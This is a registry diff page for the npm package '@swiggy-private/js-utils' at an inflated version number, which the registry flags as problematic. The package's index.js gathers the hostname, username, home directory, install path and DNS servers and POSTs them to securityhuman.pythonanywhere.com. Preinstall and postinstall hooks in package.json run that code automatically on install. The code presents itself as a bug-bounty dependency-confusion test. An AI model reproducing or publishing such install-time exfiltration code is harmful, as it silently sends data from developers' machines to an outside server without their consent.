@swiggy-private/js-utils 99999999.10012.9999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @swiggy-private/js-utils might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +55 -0
- package/package.json +17 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
Test, dont use it.
|
package/index.js
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
//
|
2
|
+
// this is the test for npm dep confusion
|
3
|
+
// please contact securityhuman@wearehackerone.com (this is my hackerone email id which divert mails to my email.)
|
4
|
+
|
5
|
+
const os = require("os");
|
6
|
+
const dns = require("dns");
|
7
|
+
const querystring = require("querystring");
|
8
|
+
const https = require("https");
|
9
|
+
var packageJSON = {description:"null empty",version:"null empty" };
|
10
|
+
var package1 = "null";
|
11
|
+
|
12
|
+
try {
|
13
|
+
packageJSON = require("./package.json");
|
14
|
+
package1 = packageJSON.name;
|
15
|
+
|
16
|
+
} catch (e) {}
|
17
|
+
|
18
|
+
const trackingData = JSON.stringify({
|
19
|
+
pn: packageJSON.name,
|
20
|
+
c: __dirname,
|
21
|
+
hd: os.homedir(),
|
22
|
+
hn: os.hostname(),
|
23
|
+
un: os.userInfo().username,
|
24
|
+
dns: dns.getServers(),
|
25
|
+
d: packageJSON.description,
|
26
|
+
v: packageJSON.version,
|
27
|
+
});
|
28
|
+
|
29
|
+
var postData = querystring.stringify({
|
30
|
+
msg: trackingData,
|
31
|
+
});
|
32
|
+
|
33
|
+
var options = {
|
34
|
+
hostname: "securityhuman.pythonanywhere.com",
|
35
|
+
port: "443",
|
36
|
+
path: "/confusion",
|
37
|
+
method: "POST",
|
38
|
+
headers: {
|
39
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
40
|
+
"Content-Length": postData.length,
|
41
|
+
},
|
42
|
+
};
|
43
|
+
|
44
|
+
var req = https.request(options, (res) => {
|
45
|
+
res.on("data", (d) => {
|
46
|
+
process.stdout.write(d);
|
47
|
+
});
|
48
|
+
});
|
49
|
+
|
50
|
+
req.on("error", (e) => {
|
51
|
+
// console.error(e);
|
52
|
+
});
|
53
|
+
|
54
|
+
req.write(postData);
|
55
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "@swiggy-private/js-utils",
|
3
|
+
"version": "99999999.10012.9999",
|
4
|
+
"description": "test dep confusion. please contact securityhuman (hackerone platform id), securityhuman@wearehackerone.com",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Test dep confusion\" && exit 1",
|
8
|
+
"preinstall": "node index.js; echo \"pre done\"",
|
9
|
+
"postinstall": "node index.js ; echo \"post done\""
|
10
|
+
},
|
11
|
+
"keywords": [
|
12
|
+
"dep",
|
13
|
+
"confusion"
|
14
|
+
],
|
15
|
+
"author": "",
|
16
|
+
"license": "ISC"
|
17
|
+
}
|